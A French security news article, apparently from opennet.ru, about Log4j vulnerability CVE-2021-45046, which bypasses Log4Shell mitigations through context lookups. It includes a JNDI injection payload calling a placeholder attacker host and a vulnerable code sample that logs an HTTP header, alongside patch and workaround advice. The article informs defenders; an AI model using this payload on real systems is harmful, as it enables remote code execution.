Une autre vulnérabilité (CVE-2021-45046) a été identifiée dans l'implémentation des substitutions JNDI dans la bibliothèque Log4j 2, se manifestant malgré les corrections apportées dans la version 2.15 et indépendamment de l'utilisation de la configuration «log4j2.noFormatMsgLookup» pour la protection. Le problème représente un risque principalement pour les anciennes versions de Log4j 2, sécurisées par le drapeau «noFormatMsgLookup», car il permet de contourner la protection contre l'ancienne vulnérabilité (Log4Shell, CVE-2021-44228), permettant l'exécution de code sur le serveur. Pour les utilisateurs de la version 2.15, l'exploitation est limitée à la création de conditions entraînant un arrêt du programme en raison de l'épuisement des ressources disponibles.
La vulnérabilité ne se manifeste que sur les systèmes où des requêtes contextuelles (Context Lookup) sont utilisées lors de la journalisation, telles que ${ctx:loginId}, ou des modèles MDC (Thread Context Map), par exemple, %X, %mdc et %MDC. L'exploitation consiste à créer des conditions pour l'enregistrement dans le journal de données contenant des substitutions JNDI, lors de l'utilisation dans l'application de requêtes contextuelles ou de modèles MDC définissant des règles de formatage pour la sortie dans le journal.
Les chercheurs de LunaSec ont noté que pour les versions de Log4j inférieures à 2.15, cette vulnérabilité peut être exploitée comme un nouveau vecteur pour l'attaque Log4Shell, conduisant à l'exécution de code, si des expressions ThreadContext utilisant des données externes sont enregistrées dans le journal, et ceci indépendamment de l'activation du drapeau «noMsgFormatLookups» ou du modèle «%m{nolookups}» pour la protection.
Le contournement de la protection consiste à ce que, au lieu d'une substitution directe «${jndi:ldap://attacker.com/a}», cette expression est insérée via la valeur d'une variable intermédiaire utilisée dans les règles de formatage de la sortie dans le journal. Par exemple, si un appel dans le journal utilise une requête contextuelle ${ctx:apiversion}, alors l'attaque peut être réalisée en substituant «${jndi:ldap://attacker.com/a}» à la valeur de la variable apiversion. Exemple de code vulnérable : appender.console.layout.pattern = ${ctx:apiversion} — %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L — %m%n @GetMapping("/") public String index(@RequestHeader("X-Api-Version") String apiVersion) { // La valeur de l'en-tête HTTP «X-Api-Version» est transmise au ThreadContext ThreadContext.put("apiversion", apiVersion); // Lors de l'enregistrement dans le journal, la valeur externe apiversion sera traitée grâce à la substitution ${ctx:apiversion} logger.info("Received a request for API version"); return "Hello, world!"; }
Dans la version Log4j 2.15, la vulnérabilité peut être exploitée pour réaliser des attaques DoS en injectant dans le ThreadContext des valeurs entraînant une boucle infinie dans le traitement du modèle de formatage de sortie.
Pour bloquer la vulnérabilité, des mises à jour 2.16 et 2.12.2 ont été publiées. Dans la branche Log4j 2.16, en plus des correctifs apportés dans la version 2.15 et du lien JNDI LDAP associé à « localhost », la fonctionnalité JNDI est complètement désactivée par défaut et le support des modèles de substitution de messages a été supprimé. Comme solution de contournement, il est proposé de retirer la classe JndiLookup du classpath (par exemple, « zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class »).
On peut suivre l'apparition des correctifs dans les paquets sur les pages des distributions (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) et chez les fournisseurs de plateformes Java (GitHub, Docker, Oracle, vmWare, Broadcom et Amazon/AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure, etc.).
Source : opennet.ru
